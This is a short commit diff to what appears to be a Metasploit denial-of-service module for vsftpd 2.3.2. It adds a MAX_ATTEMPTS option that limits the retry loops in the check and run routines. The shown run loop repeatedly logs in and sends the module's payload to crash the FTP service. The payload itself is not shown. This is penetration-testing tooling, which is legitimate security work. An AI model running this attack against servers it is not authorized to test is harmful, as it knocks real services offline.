vsftpd_232: Add MAX_ATTEMPTS

Author: g0tmi1k

modules/auxiliary/dos/ftp/vsftpd_232.rb

@@ -37,6 +37,10 @@ def initialize(info = {})
         }
       )
     )
+
+    register_options([
+      OptInt.new('MAX_ATTEMPTS', [false, 'Maximum payload attempts before giving up (0 = unlimited)', 25])
+    ])
   end
 
   def check
@@ -56,10 +60,19 @@ def check
     end
 
     s = ''
+    attempts = 0
+    max = datastore['MAX_ATTEMPTS'].to_i
     loop do
+      attempts += 1
+
       # get each line until our desired line shows or end line shows
       s = send_cmd(['STAT'], true)
       break if (s =~ /vsFTPd \d+\.\d+\.\d+/) || (s == "211 End of status\r\n")
+
+      if max > 0 && attempts > max
+        print_error("Reached #{max} attempts")
+        break
+      end
     end
     disconnect
 
@@ -88,8 +101,17 @@ def run
 
     print_status('Sending DoS command')
 
+    attempts = 0
+    max = datastore['MAX_ATTEMPTS'].to_i
+
     loop do
-      print('.')
+      attempts += 1
+      if max > 0 && attempts > max
+        print_error("Reached #{max} attempts without DoS")
+        break
+      end
+      print_status("Attempt: #{attempts}")
+
       connect_login
       10.times do
         send_cmd([payload.to_s], false)